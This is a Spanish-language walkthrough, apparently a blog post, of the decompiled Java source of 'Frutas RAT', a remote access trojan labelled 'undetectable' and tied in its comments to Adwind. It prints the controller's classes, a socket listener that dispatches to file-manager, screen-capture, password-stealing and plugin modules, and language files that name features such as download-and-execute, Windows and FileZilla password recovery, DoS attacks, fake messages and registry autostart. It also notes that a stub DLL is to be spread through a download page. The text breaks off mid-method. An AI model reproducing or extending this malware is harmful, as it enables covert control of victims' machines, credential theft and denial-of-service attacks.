LA NUEZ
empecemos viendo las vitaminas, minerales y lo que compone este fruto. nosotros lo conocemos como librerias.
Ahora bien veamos el contenido de cada uno en el orden mostrado.
los archivos .wav ya no los mencionaré por obvias razones.
veamos la clase Sonid.java
package Extras; import java.util.logging.Level; import java.util.logging.Logger; import javax.sound.sampled.AudioSystem; import javax.sound.sampled.Clip; public class Sonid extends Thread { public void run() { try { Clip ex = AudioSystem.getClip(); ex.open(AudioSystem.getAudioInputStream(this.getClass().getResourceAsStream("as.wav"))); ex.start(); while(true) { sleep(2000L); if(!ex.isRunning()) { System.out.println("sa"); ex.close(); break; } System.out.println("Running..."); } } catch (Exception var2) { Logger.getLogger(Sonid.class.getName()).log(Level.SEVERE, (String)null, var2); } } public static void main(String[] args) throws InterruptedException { (new Sonid()).start(); } }JdeskTopPanel.java
package Extras; import java.awt.Graphics; import java.awt.Image; import java.awt.Toolkit; import java.awt.image.ImageObserver; import java.io.File; import javax.swing.ImageIcon; import javax.swing.JDesktopPane; public class JdeskTopPanel extends JDesktopPane { private Image m; public JdeskTopPanel() { try { File e = new File("Imagenes/background.png"); if(e.exists()) { this.m = Toolkit.getDefaultToolkit().getImage("Imagenes/background.png"); } else { this.m = (new ImageIcon(this.getClass().getResource("/resources/backgro2.jpg"))).getImage(); } System.out.println(this.m.getHeight((ImageObserver)null)); } catch (Exception var2) { System.out.println(var2.getMessage()); } } public void paint(Graphics g) { if(this.m != null) { g.drawImage(this.m, 0, 0, this.getWidth(), this.getHeight(), this); this.setOpaque(false); } else { this.setOpaque(true); } super.paint(g); } public void cambiaFondo(File archivo) { this.m.flush(); this.m = Toolkit.getDefaultToolkit().getImage(archivo.getAbsolutePath()); this.repaint(); } }
SHA.java
package Extras; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.logging.Level; import java.util.logging.Logger; public class SHA { public static String getMD5(String dato) { String s = ""; try { MessageDigest ex = MessageDigest.getInstance("SHA"); byte[] resumen = ex.digest(dato.getBytes()); for(int i = 0; i < resumen.length; ++i) { s = s + Integer.toHexString(resumen[i] >> 4 & 15); s = s + Integer.toHexString(resumen[i] & 15); } } catch (NoSuchAlgorithmException var5) { Logger.getLogger(SHA.class.getName()).log(Level.SEVERE, (String)null, var5); } return s; } public static void main(String[] args) { System.out.println(getMD5((new StringBuffer("3582530353323941")).reverse().toString())); System.out.println(getMD5("xxxx")); } }
Utileria.java
package Extras; import java.awt.Toolkit; import java.awt.Window; public class Utileria { public static void centraVentana(Window frame) { int altoPantalla = Toolkit.getDefaultToolkit().getScreenSize().height / 2; int anchoPantalla = Toolkit.getDefaultToolkit().getScreenSize().width / 2; int altoAplicacion = frame.getSize().height / 2; int anchoAplicacion = frame.getSize().width / 2; frame.setLocation(anchoPantalla - anchoAplicacion, altoPantalla - altoAplicacion); } }
Stub.dll esta libreria la pasaremos por una pagina de descargas
As.wav omitiremos..
DES.java este guardara el pass
package Extras; import java.io.ByteArrayOutputStream; import java.util.logging.Level; import java.util.logging.Logger; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; public class DES { public static byte[] encriptDeS(String contrasena, byte[] input) { try { ByteArrayOutputStream ex = new ByteArrayOutputStream(); SecretKeyFactory skf = SecretKeyFactory.getInstance(new String(new char[]{'D', 'E', 'S'})); DESKeySpec kspec = new DESKeySpec(contrasena.getBytes()); SecretKey ks = skf.generateSecret(kspec); Cipher c = Cipher.getInstance(new String(new char[]{'D', 'E', 'S'})); c.init(1, ks); byte[] tmp = c.update(input, 0, input.length); ex.write(tmp); tmp = c.doFinal(); ex.write(tmp); ex.close(); return ex.toByteArray(); } catch (Exception var8) { Logger.getLogger(DES.class.getName()).log(Level.SEVERE, (String)null, var8); return null; } } }
---------------------------------------------------NO TE MAREES -------------------------------------------------
veamos la segunda librería de clasesIdiomas
Idioma_es.properties
barra.menu1=Central barra.menu1.nuevo=Nuevo Servidor barra.menu1.herramientas=Herramientas barra.menu1.descargas=Descargas barra.menu1.tray=Minimizar barra.menu1.plugins=Plugins Manager barra.menu2=Acerca barra.menu2.autor=Autor usuariostotal.titulo=Usuarios usuariostotal.puerto1=Puerto 1: usuariostotal.puerto2=Puerto 2: usuariostotal.escuchar=Escuchar usuariostotal.contrasena=Contrase\u00f1a: usuariostotal.columna.pais=Pa\u00eds usuariostotal.columna.id=Identificador usuariostotal.columna.ipex=Ip Externa usuariostotal.columna.ipin=IP Interna usuariostotal.columna.userpc=Usuario PC usuariostotal.columna.so=S.O. usuariostotal.columna.jre=Versi\u00f3n JRE usuariostotal.columna.version=Versi\u00f3n usuariostotal.parar=Parar nuevoserver.titulo=TituloCreaci\u00f3n de un nuevo servidor nuevoserver.pestana1=Conexi\u00f3n nuevoserver.pestana1.dns=IP/DNS: nuevoserver.pestana1.puerto1=Puerto 1: nuevoserver.pestana1.puerto2=Puerto 2: nuevoserver.pestana1.contrasena=Contrase\u00f1a: nuevoserver.pestana1.prefijo=Prefijo Server: nuevoserver.pestana1.keyclase=Key para encriptar las clases nuevoserver.pestana1.delay=Lapso de tiempo entre cada conexion fallida. (segundos) nuevoserver.pestana1.tamano=Tama\u00f1o nuevoserver.pestana1.verpass=Ver nuevoserver.pestana1.generar=Generar nuevoserver.pestana2=AutoInicio nuevoserver.pestana2.iniciarwindows=Iniciar en Windows nuevoserver.pestana2.ptareas=Programador de Tareas nuevoserver.pestana2.nombrereg=Nombre en el Registro nuevoserver.pestana2.nombrejar=Nombre del *.Jar nuevoserver.pestana2.nombrecarpet=Nombre de Carpeta nuevoserver.pestana2.tipocarpeta=Tipo de Carpeta nuevoserver.crear=Crear Servidor premota.titulo=Abrir URL: premota.veces=Numero de Veces: premota.enviar=Enviar acerca.titulo=Acerca acerca.autor=Autor: acerca.pagina=P\u00e1gina: acerca.version=Versi\u00f3n actualiza.titulo=Actualizaci\u00f3n del Server actualiza.envia=Actualizar cpantalla.titulo=Captura de Pantalla cpantalla.segundos=Segundos: cpantalla.escala=Escala: cpantalla.calidad=Calidad: cpantalla.color=Color cpantalla.gris=Gris cpantalla.bytes=Bytes Recibidos: cpantalla.guardar=Guardar Scr cpantalla.text=Texto a Enviar: cpantalla.limpiar=Limpiar dyejecuta.titulo=Descargar y Ejecutar dyejecuta.enviar=Enviar infowind.titulo=Informaci\u00f3n detallada infowind.cuerpo=Esperando datos... cr.pagina=P\u00e1gina: cr.puerto=Puerto: cr.hilos=Hilos: cr.tiempo=Tiempo (s): cr.enviar=Enviar cdescarga.titulo=Centro de Descarga cdescarga.descarga=Abrir Carpetas de descarga dsingle.descargado=Descargado: dsingle.total=Total: dsingle.abrir=Abrir dsingle.cerrar=Cerrar dsingle.cancelar=Cancelar enviarfile.titulo=Envio de archivos a la PC remota enviarfile.buscar=Buscar archivo enviarfile.nombre=Nombre tmp: enviarfile.envyejecuta=Enviar enviarfile.bufer=Tama\u00f1o del Buffer (kb) fmanager.titulo=Administrador de Archivos fmanager.discos=Listar Discos fmanager.listar=Listar fmanager.carpeta=Carpetas: fmanager.tamano=Tama\u00f1o (bytes) fmanager.nombre=Nombre fmanager.tipo=Tipo fmanager.tamanoL=Tama\u00f1o (kb) fmanager.archivo=Archivos (s): mensajes.titulo=Mensajes Falsos
0.properties
idioma.nombre=Espa\u00f1ol #idioma.autor=Adwind #nombre.rat=Frutas RAT v0.9 [Vesi\u00f3n Indetectable] #Botones de la 1 opcion de la barra barra1.central=Central barra1.lenguaje=Idiomas barra1.nuevoserver=Nuevo Servidor #Botones de la 2 opcion de la barra barra2.acerca=Acerca barra2.autor=Autor #Frame general framegeneral.nombre=Usuarios label.puerto=Puerto 1: label.puerto2=Puerto 2: boton.escucha.activado=Escuchar boton.escucha.desactivado=Parar label.contrasena=Contrase\u00f1a: label.conectado=Conectados: tabla.pais=Pa\u00eds tabla.identificador=Identificador tabla.externa=IP Externa tabla.interna=IP Interna tabla.user=Usuario PC tabla.os=S.O. tabla.jre=Versi\u00f3n JRE tabla.version=Versi\u00f3n #Ventana de abrir URL abrir.url.titulo=URL Remota: abrir.url.labelVeces=Numero de veces: abrir.url.botonEnviar=Enviar #Venta de Acerca acerca.titulo=Acerca acerca.autor=Autor: acerca.pagina=P\u00e1gina: acerca.version=Versi\u00f3n acerca.tipo= Tipo: #Captura de pantalla captura.titulo=Captura de pantalla captura.boton=Parar captura.segundo=Segundos captura.tamano=Tama\u00f1o captura.tipo=Tipo captura.color=Color captura.gris=Gris #Ventana DOS dos.pagina=P\u00e1gina: dos.puerto=Puerto: dos.hilos=Hilos: dos.tiempo=Tiempo (s): dos.boton=Enviar #Ventana enviar archivo envia.titulo=Envio de archivos a la PC remota envia.busca=Buscar Archivo envia.envia=Enviar y Ejecutar envia.cancela=Cancelar #Ventana Mensajes mensaje.titulo=Mensajes Falsos: mensaje.error=Error mensaje.advertencia=Advertencia mensaje.informacion=Informaci\u00f3n mensaje.pregunta=Pregunta mensaje.titulo.texto=Titulo mensaje.cuerpo=Cuerpo mensaje.enviar=Enviar mensaje.prueba=Prueba #Ventana Nuevo Servidor servidor.titulo=Creaci\u00f3n de un Nuevo Servidor servidor.conexion=Conexi\u00f3n servidor.autoinicio=Autoinicio servidor.contrasena=Contrase\u00f1a servidor.puerto1=Puerto 1: servidor.puerto2=Puerto 2: servidor.crear=Crear Servidor servidor.windows=Iniciar en Windows servidor.registro=Entrada Registo: servidor.nobrereg=Nombre Final del *.JAR #Ventana PopUp popup.mensaje=Mensajes Falsos popup.contrasena=Contrase\u00f1as (Windows) popup.url=Abrir URL popup.envia=Enviar Archivo popup.para=Parar Conexion popup.reinicia=Reiniciar Conexi\u00f3 popup.desintala=Desinstalar popup.captura=Captura de Pantalla popup.dos=Ataque D.o.S popup.archivos=Administrador de Archivos
Idioma_en.properties
# To change this template, choose Tools | Templates # and open the template in the editor. #En la barra es el primer item barra.menu1=Main barra.menu1.nuevo=New Server barra.menu1.herramientas=Tools barra.menu1.descargas=Downloads barra.menu1.tray=System Tray barra.menu1.plugins=Plugins Manager barra.menu2=About barra.menu2.autor=Creator usuariostotal.titulo=Users usuariostotal.puerto1=Port 1: usuariostotal.puerto2=Port 2: usuariostotal.escuchar=Listen usuariostotal.contrasena=Password: usuariostotal.columna.pais=Country usuariostotal.columna.id=Identificador usuariostotal.columna.ipex=Ip Externa usuariostotal.columna.ipin=IP Interna usuariostotal.columna.userpc=Usuario PC usuariostotal.columna.so=S.O. usuariostotal.columna.jre=Versi\u00f3n JRE usuariostotal.columna.version=Versi\u00f3n usuariostotal.parar=Stop nuevoserver.titulo=Create new Server nuevoserver.pestana1=Conection nuevoserver.pestana1.dns=IP/DNS: nuevoserver.pestana1.puerto1=Port 1: nuevoserver.pestana1.puerto2=Port 2: nuevoserver.pestana1.contrasena=Password: nuevoserver.pestana1.prefijo=Name server nuevoserver.pestana1.keyclase=Encryp Key nuevoserver.pestana1.delay=Delay. (seconds) nuevoserver.pestana1.tamano=Size nuevoserver.pestana1.verpass=Show nuevoserver.pestana1.generar=Generate key nuevoserver.pestana2=AutoStar nuevoserver.pestana2.iniciarwindows=Start with Windows nuevoserver.pestana2.ptareas=Task Schedule nuevoserver.pestana2.nombrereg=Registry key nuevoserver.pestana2.nombrejar=Name of *.Jar nuevoserver.pestana2.nombrecarpet=Folder Name nuevoserver.pestana2.tipocarpeta=Folder Type nuevoserver.crear=Make Server premota.titulo=Open URL: premota.veces=Number of Thread: premota.enviar=Send acerca.titulo=About acerca.autor=Creator: acerca.pagina=URL: acerca.version=Version actualiza.titulo=Actualizaci\u00f3n del Server actualiza.envia=Actualizar cpantalla.titulo=Screen Capture cpantalla.segundos=Seconds: cpantalla.escala=Escala: cpantalla.calidad=Quality: cpantalla.color=Color cpantalla.gris=Gray cpantalla.bytes=Recived Bytes: cpantalla.guardar=Save Scr cpantalla.text=Text to Send: cpantalla.limpiar=Clean dyejecuta.titulo=Download and Execute dyejecuta.enviar=Send infowind.titulo=Info infowind.cuerpo=Waiting data... cr.pagina=Page: cr.puerto=Port: cr.hilos=Threads: cr.tiempo=Time (s): cr.enviar=Send cdescarga.titulo=Download Center cdescarga.descarga=Open Download Folder dsingle.descargado=Downloaded: dsingle.total=All: dsingle.abrir=Open dsingle.cerrar=Cerrar dsingle.cancelar=Cancelar enviarfile.titulo=Send file to remote PC enviarfile.buscar=Search File enviarfile.nombre=Temp Name: enviarfile.envyejecuta=Send enviarfile.bufer=Size of buffer. (kb) fmanager.titulo=FileManager fmanager.discos=List Disc fmanager.listar=List fmanager.carpeta=Folders: fmanager.tamano=Tama\u00f1o (bytes) fmanager.nombre=Name fmanager.tipo=Type fmanager.tamanoL=Size (kb) fmanager.archivo=File (s): mensajes.titulo=Fake Messages
1.properties
idioma.nombre=English idioma.autor=Traduced by sandisk.ver.1.0 nombre.rat=Fruits RAT v0.8 [Vesi\u00f3n Orange] #Botones de la 1 opcion de la barra barra1.central=Main barra1.lenguaje=Languajes barra1.nuevoserver=New Server #Botones de la 2 opcion de la barra barra2.acerca=About barra2.autor=Author #Frame general framegeneral.nombre=Users label.puerto=Port 1: label.puerto2=Port 2: boton.escucha.activado=Listen boton.escucha.desactivado=Stop label.contrasena=Password: label.conectado=Connected: tabla.pais=Country tabla.identificador=Identificador tabla.externa=External IP tabla.interna=Internal IP tabla.user=PC User tabla.os=O.S. tabla.jre=JRE Version tabla.version=Version #Ventana de abrir URL abrir.url.titulo=Remote URL: abrir.url.labelVeces=Number of times: abrir.url.botonEnviar=Send #Venta de Acerca acerca.titulo=About acerca.autor=Author: acerca.pagina=Page: acerca.version=Version: acerca.tipo=Type: #Captura de pantalla captura.titulo=Screen Capture captura.boton=Stop captura.segundo=Seconds captura.tamano=Size captura.tipo=Type captura.color=Color captura.gris=Gray #Ventana DOS dos.pagina=Page: dos.puerto=Port: dos.hilos=Threads: dos.tiempo=Time (s): dos.boton=Send #Ventana enviar archivo envia.titulo=Send Files to Remote PC envia.busca=Search File envia.envia=Send and Execute envia.cancela=Cancel #Ventana Mensajes mensaje.titulo=Fake Message: mensaje.error=Error mensaje.advertencia=Warning mensaje.informacion=Information mensaje.pregunta=Question mensaje.titulo.texto=Title mensaje.cuerpo=Body mensaje.enviar=Send mensaje.prueba=Test #Ventana Nuevo Servidor servidor.titulo=Create a New Server servidor.conexion=Connection servidor.autoinicio=Autostart servidor.contrasena=Password: servidor.puerto1=Port 1: servidor.puerto2=Port 2: servidor.crear=Create Server servidor.windows=Start in Windows servidor.registro=Registry Entries: servidor.nobrereg=Final *.JAR Name #Popup mensajes popup.mensaje=Fake Messages popup.contrasena=Passwords recovery (Windows) popup.url=Open URL popup.envia=Send File popup.para=Stop Conection popup.reinicia=Restar Conection popup.desintala=UnInstall popup.captura=Screen Capture popup.dos=Atack D.o.S popup.archivos=File Manager
Idioma.properties
barra.menu1=Central barra.menu1.nuevo=Nuevo Servidor barra.menu1.herramientas=Herramientas barra.menu1.descargas=Descargas barra.menu1.tray=Minimizar barra.menu1.plugins=Plugins Manager barra.menu2=Acerca barra.menu2.autor=Autor usuariostotal.titulo=Usuarios usuariostotal.puerto1=Puerto 1: usuariostotal.puerto2=Puerto 2: usuariostotal.escuchar=Escuchar usuariostotal.contrasena=Contrase\u00f1a: usuariostotal.columna.pais=Pa\u00eds usuariostotal.columna.id=Identificador usuariostotal.columna.ipex=Ip Externa usuariostotal.columna.ipin=IP Interna usuariostotal.columna.userpc=Usuario PC usuariostotal.columna.so=S.O. usuariostotal.columna.jre=Versi\u00f3n JRE usuariostotal.columna.version=Versi\u00f3n usuariostotal.parar=Parar nuevoserver.titulo=Creaci\u00f3n de un nuevo servidor nuevoserver.pestana1=Conexi\u00f3n nuevoserver.pestana1.dns=IP/DNS: nuevoserver.pestana1.puerto1=Puerto 1: nuevoserver.pestana1.puerto2=Puerto 2: nuevoserver.pestana1.contrasena=Contrase\u00f1a: nuevoserver.pestana1.prefijo=Prefijo Server: nuevoserver.pestana1.keyclase=Key para encriptar las clases nuevoserver.pestana1.delay=Lapso de tiempo entre cada conexion fallida. (segundos) nuevoserver.pestana1.tamano=Tama\u00f1o nuevoserver.pestana1.verpass=Ver nuevoserver.pestana1.generar=Generar nuevoserver.pestana2=AutoInicio nuevoserver.pestana2.iniciarwindows=Iniciar en Windows nuevoserver.pestana2.ptareas=Programador de Tareas nuevoserver.pestana2.nombrereg=Nombre en el Registro nuevoserver.pestana2.nombrejar=Nombre del *.Jar nuevoserver.pestana2.nombrecarpet=Nombre de Carpeta nuevoserver.pestana2.tipocarpeta=Tipo de Carpeta nuevoserver.crear=Crear Servidor premota.titulo=Abrir URL: premota.veces=Numero de Veces: premota.enviar=Enviar acerca.titulo=Acerca acerca.autor=Autor: acerca.pagina=P\u00e1gina: acerca.version=Versi\u00f3n actualiza.titulo=Actualizaci\u00f3n del Server actualiza.envia=Actualizar cpantalla.titulo=Captura de Pantalla cpantalla.segundos=Segundos: cpantalla.escala=Escala: cpantalla.calidad=Calidad: cpantalla.color=Color cpantalla.gris=Gris cpantalla.bytes=Bytes Recibidos: cpantalla.guardar=Guardar Scr cpantalla.text=Texto a Enviar: cpantalla.limpiar=Limpiar dyejecuta.titulo=Descargar y Ejecutar dyejecuta.enviar=Enviar infowind.titulo=Informaci\u00f3n detallada infowind.cuerpo=Esperando datos... cr.pagina=P\u00e1gina: cr.puerto=Puerto: cr.hilos=Hilos: cr.tiempo=Tiempo (s): cr.enviar=Enviar cdescarga.titulo=Centro de Descarga cdescarga.descarga=Abrir Carpetas de descarga dsingle.descargado=Descargado: dsingle.total=Total: dsingle.abrir=Abrir dsingle.cerrar=Cerrar dsingle.cancelar=Cancelar enviarfile.titulo=Envio de archivos a la PC remota enviarfile.buscar=Buscar archivo enviarfile.nombre=Nombre tmp: enviarfile.envyejecuta=Enviar enviarfile.bufer=Tama\u00f1o del Buffer (kb) fmanager.titulo=Administrador de Archivos fmanager.discos=Listar Discos fmanager.listar=Listar fmanager.carpeta=Carpetas: fmanager.tamano=Tama\u00f1o (bytes) fmanager.nombre=Nombre fmanager.tipo=Tipo fmanager.tamanoL=Tama\u00f1o (kb) fmanager.archivo=Archivos (s): mensajes.titulo=Mensajes Falsos
------------------------------------VEAMOS LA 3RA LIBRERIA DE CLASES-------------------------------
META-INF
MANIFEST.MF
Manifest-Version: 1.0 Ant-Version: Apache Ant 1.8.4 X-COMMENT: Main-Class will be added automatically by build Class-Path: lib/JTattoo.jar Created-By: 1.7.0_05-b06 (Oracle Corporation) Main-Class: cliente.Splash
-------------------------------------------4TA LIBRERIA DE CLASES------------------------------------------
BANDERAS
Aqui se encuentran los archivos GIF con la inicial de cada país (PE.gif, AR.gif, etc), lo que se puede conseguir en librerias online.
-------------------------------------------5TA LIBRERIA DE CLASES------------------------------------------
opciones

Archivo1.java
package opciones; import java.io.Serializable; public class Archivo1 implements Serializable { private String path; private String pathParent; private String nombre; private long length; private boolean carpeta; private long fecha; private boolean hidden; public String getPath() { return this.path; } public void setPath(String path) { this.path = path; } public String getPathParent() { return this.pathParent; } public void setPathParent(String pathParent) { this.pathParent = pathParent; } public String getNombre() { return this.nombre; } public void setNombre(String nombre) { this.nombre = nombre; } public long getLength() { return this.length; } public void setLength(long length) { this.length = length; } public boolean isCarpeta() { return this.carpeta; } public void setCarpeta(boolean carpeta) { this.carpeta = carpeta; } public long getFecha() { return this.fecha; } public void setFecha(long fecha) { this.fecha = fecha; } public boolean isHidden() { return this.hidden; } public void setHidden(boolean hidden) { this.hidden = hidden; } public Archivo1() {} public Archivo1(String path, String pathParent, String nombre, long length, boolean carpeta, long fecha, boolean hidden) { this.path = path; this.pathParent = pathParent; this.nombre = nombre; this.length = length; this.carpeta = carpeta; this.fecha = fecha; this.hidden = hidden; } }
OrdenCaptura.java
package opciones; import java.awt.Point; import java.io.Serializable; public class OrdenCaptura implements Serializable { private int delay; private int escala; private float calidad; private int tipo; private Point punto; private int tipoButton; private boolean isMouseActivado; private boolean isTeclado; private int caracter; private int count; public float getCalidad() { return this.calidad; } public void setCalidad(float calidad) { this.calidad = calidad; } public int getCount() { return this.count; } public void setCount(int count) { this.count = count; } public boolean isIsTeclado() { return this.isTeclado; } public void setIsTeclado(boolean isTeclado) { this.isTeclado = isTeclado; } public int getCaracter() { return this.caracter; } public void setCaracter(int caracter) { this.caracter = caracter; } public int getDelay() { return this.delay; } public void setDelay(int delay) { this.delay = delay; } public int getEscala() { return this.escala; } public void setEscala(int escala) { this.escala = escala; } public int getTipo() { return this.tipo; } public void setTipo(int tipo) { this.tipo = tipo; } public Point getPunto() { return this.punto; } public void setPunto(Point punto) { this.punto = punto; } public int getTipoButton() { return this.tipoButton; } public void setTipoButton(int tipoButton) { this.tipoButton = tipoButton; } public boolean isIsMouseActivado() { return this.isMouseActivado; } public void setIsMouseActivado(boolean isMouseActivado) { this.isMouseActivado = isMouseActivado; } }
Archivo.java
package opciones; import java.io.Serializable; public class Archivo implements Serializable { private String pathParent; private String nombre; private long length; private boolean carpeta; private long fecha; public String getPathParent() { return this.pathParent; } public void setPathParent(String pathParent) { this.pathParent = pathParent; } public String getNombre() { return this.nombre; } public void setNombre(String nombre) { this.nombre = nombre; } public long getLength() { return this.length; } public void setLength(long length) { this.length = length; } public boolean isCarpeta() { return this.carpeta; } public void setCarpeta(boolean carpeta) { this.carpeta = carpeta; } public long getFecha() { return this.fecha; } public void setFecha(long fecha) { this.fecha = fecha; } public String toString() { return this.nombre; } }
-------------------------------------------6TA LIBRERIA DE CLASES------------------------------------------
La libreria RECURSOS contiene imágenes que se usaran en los distintos iconos del programa. tabién se les proveera al final, pero les dejo una imagen de su arquitectura
-------------------------------------------7MA LIBRERIA DE CLASES-----------------------------------------
plugins aquí están las extensiones o componentes del programa
InstaladorPluginRemoto.java
Como vemos por el peso no contiene absolutamente NADA.FrutitaCliente.java
package plugins; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; public interface FrutitaCliente { String getID(); String getNombre(); String getAutor(); String getVersion(); void inicia(ObjectInputStream var1, ObjectOutputStream var2); }
FrutitaServer.java
package plugins; public interface FrutitaServer { String getid(); void Inicia(String var1, int var2); }
AdminPlugin.java
0Bytes
ModificadorClassPath.java
package plugins; import java.io.File; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class ModificadorClassPath { private static final String METODO_ADD_URL = "addURL"; private static final Class[] PARAMETRO_METODO = new Class[]{URL.class}; private final URLClassLoader loader = (URLClassLoader)ClassLoader.getSystemClassLoader(); private final Method metodoAdd; public ModificadorClassPath() throws NoSuchMethodException { this.metodoAdd = URLClassLoader.class.getDeclaredMethod("addURL", PARAMETRO_METODO); this.metodoAdd.setAccessible(true); } public URL[] getURLs() { return this.loader.getURLs(); } public void addURL(URL url) { if(url != null) { try { this.metodoAdd.invoke(this.loader, new Object[]{url}); } catch (Exception var3) { System.err.println("Excepcion al guardar URL: " + var3.getLocalizedMessage()); } } } public void addURLs(URL[] urls) { if(urls != null) { URL[] arr$ = urls; int len$ = urls.length; for(int i$ = 0; i$ < len$; ++i$) { URL url = arr$[i$]; this.addURL(url); } } } public void addArchivo(File archivo) throws MalformedURLException { if(archivo != null) { this.addURL(archivo.toURI().toURL()); } } public void addArchivo(String nombreArchivo) throws MalformedURLException { this.addArchivo(new File(nombreArchivo)); } }
CargadorPlugins.java
0Bytes
-------------------------------------------8VA LIBRERIA DE CLASES-----------------------------------------
cliente
Escucha2.java
package cliente; import cliente.CapturaPantalla; import cliente.DetallesWindows; import cliente.DownloadCenter; import cliente.DownloadSingle; import cliente.EnviarFile; import cliente.FileManager; import cliente.FrutaManager; import cliente.PassGUI; import cliente.Procesos; import java.awt.Component; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.net.ServerSocket; import java.net.Socket; import java.util.ArrayList; import java.util.HashMap; import java.util.logging.Level; import java.util.logging.Logger; import javax.swing.JInternalFrame; import javax.swing.text.AttributeSet; import javax.swing.text.BadLocationException; import plugins.AdminPlugin; import plugins.FrutitaCliente; import plugins.InstaladorPluginRemoto; public class Escucha2 extends Thread { public static FrutaManager frutamanager; public static HashMap USUARIOS = new HashMap(); public static boolean CONECTADO = true; private ServerSocket escuchad; private Socket socket; private ArrayList lista = new ArrayList(); public Escucha2(int puerto, int cola, FrutaManager fruta) throws IOException { this.escuchad = new ServerSocket(puerto, cola); frutamanager = fruta; System.out.println("Iniciando Servidor por primera vez en el puerto: " + puerto); CONECTADO = true; } public void run() { do { try { this.socket = this.escuchad.accept(); ObjectInputStream ex = new ObjectInputStream(this.socket.getInputStream()); ObjectOutputStream out = new ObjectOutputStream(this.socket.getOutputStream()); int i = ex.readInt(); switch(i) { case 1: EnviarFile m = new EnviarFile(out, frutamanager.idioma); m.setVisible(true); m.setLocation(100, 100); frutamanager.jdeskTopPanel1.add(m, 0); this.lista.add(m); break; case 2: CapturaPantalla mm = new CapturaPantalla(ex, out, frutamanager.idioma); (new Thread(mm)).start(); mm.setVisible(true); mm.setLocation(100, 100); frutamanager.jdeskTopPanel1.add(mm, 0); this.lista.add(mm); break; case 3: FileManager mmm = new FileManager(ex, out); (new Thread(mmm)).start(); mmm.setVisible(true); mmm.setLocation(100, 100); frutamanager.jdeskTopPanel1.add(mmm, 0); break; case 4: PassGUI p = new PassGUI(ex, out); (new Thread(p)).start(); p.setVisible(true); p.setLocation(100, 100); frutamanager.jdeskTopPanel1.add(p, 0); break; case 5: Procesos pp = new Procesos(ex, out); (new Thread(pp)).start(); pp.setVisible(true); pp.setLocation(100, 100); frutamanager.jdeskTopPanel1.add(pp, 0); break; case 6: DownloadSingle ds = new DownloadSingle(ex); DownloadCenter.jTextPane1.setCaretPosition(DownloadCenter.jTextPane1.getDocument().getLength()); DownloadCenter.jTextPane1.insertComponent(ds); try { DownloadCenter.jTextPane1.getDocument().insertString(DownloadCenter.jTextPane1.getDocument().getLength(), "\n", (AttributeSet)null); } catch (BadLocationException var15) { Logger.getLogger(Escucha2.class.getName()).log(Level.SEVERE, (String)null, var15); } (new Thread(ds)).start(); break; case 7: DetallesWindows de = new DetallesWindows(ex); (new Thread(de)).start(); de.setVisible(true); de.setLocation(100, 100); frutamanager.jdeskTopPanel1.add(de, 0); break; case 8: String id = ex.readUTF(); FrutitaCliente f = (FrutitaCliente)AdminPlugin.plugins.get(id); Component c = (Component)f; if(c instanceof JInternalFrame) { System.out.println("true"); JInternalFrame ins1 = (JInternalFrame)f; frutamanager.jdeskTopPanel1.add(ins1, 0); } f.inicia(ex, out); break; case 9: InstaladorPluginRemoto ins = new InstaladorPluginRemoto(out, ex); ins.setVisible(true); ins.setLocation(100, 100); frutamanager.jdeskTopPanel1.add(ins, 0); (new Thread(ins)).start(); } } catch (IOException var16) { System.out.println("Fallo al cerrar"); } } while(CONECTADO); } public void stopPara() { CONECTADO = false; try { this.escuchad.close(); Object[] ex = this.lista.toArray(); int len$ = ex.length; for(int i$ = 0; i$ < len$; ++i$) { Object m = ex[i$]; if(m != null) { if(m instanceof CapturaPantalla) { CapturaPantalla t = (CapturaPantalla)m; t.conetado = false; } if(m instanceof EnviarFile) { EnviarFile var7 = (EnviarFile)m; var7.Cierra(); } } } } catch (IOException var6) { System.out.println("Error en: StopPara"); } } }
Usuario.java
package cliente; import cliente.Escucha; import cliente.FrutaManager; import cliente.PassFileZilla; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; import java.util.logging.Level; import java.util.logging.Logger; public class Usuario extends Thread { private boolean status = false; private FrutaManager fruta; private OutputStream salida; private InputStream entrada; private Socket socket; private String dentificador; private DataOutputStream salsocket; public Usuario(Socket socket, FrutaManager frut) { try { this.fruta = frut; this.socket = socket; this.entrada = this.socket.getInputStream(); this.salida = this.socket.getOutputStream(); this.salsocket = new DataOutputStream(this.salida); } catch (IOException var4) { System.out.println(var4.getMessage()); this.status = false; } } public Socket getSock() { return this.socket; } public void sendComando(int i) { try { this.salsocket.writeInt(i); } catch (IOException var3) { System.out.println("Error enviando comando" + i); } } public void sendComando(int i, String cmd) { try { this.salsocket.writeInt(i); this.salsocket.writeUTF(cmd); System.out.println("El mensaje consumio: " + this.salsocket.size() + " bytes"); } catch (IOException var4) { System.out.println("Error enviando comando " + i + " texto" + cmd); } } public String getIdentificador() { return this.dentificador; } public boolean isConectado() { DataInputStream leepass = new DataInputStream(this.entrada); try { String ex = leepass.readUTF(); System.out.println("pass recibida:" + ex); if(ex.equalsIgnoreCase(this.fruta.passwordGlobal)) { this.salsocket.writeUTF("SI"); if(leepass.readUTF().equalsIgnoreCase("OK")) { this.status = true; } } else { this.salsocket.writeUTF("NO"); } } catch (IOException var3) { System.out.println(var3.getMessage()); } return this.status; } public void agregarAtABLA() { this.fruta.ModificaTabla("", this.getInfoInicial(), false); } private String[] getInfoInicial() { String[] datoss = new String[8]; try { DataInputStream ex = new DataInputStream(this.entrada); String tmp = ex.readUTF(); String[] datitos = tmp.split("\\?"); System.out.println(datitos.length); datoss[0] = datitos[0]; datoss[1] = datitos[1]; Escucha.USUARIOS.put(datoss[1], this); this.dentificador = datitos[1]; datoss[2] = this.socket.getInetAddress().getHostAddress(); datoss[3] = datitos[2]; datoss[4] = datitos[3]; datoss[5] = datitos[4]; datoss[6] = datitos[5]; if(datitos.length == 6) { return datoss; } datoss[7] = datitos[6]; } catch (IOException var5) { Logger.getLogger(Usuario.class.getName()).log(Level.SEVERE, (String)null, var5); } return datoss; } public void CierraConexion() { try { this.salsocket.close(); this.entrada.close(); this.salida.close(); this.socket.close(); } catch (IOException var2) { System.out.println("Error cerrando el socket"); } } public void run() { DataInputStream entra = new DataInputStream(this.entrada); try { while(true) { while(true) { int i = 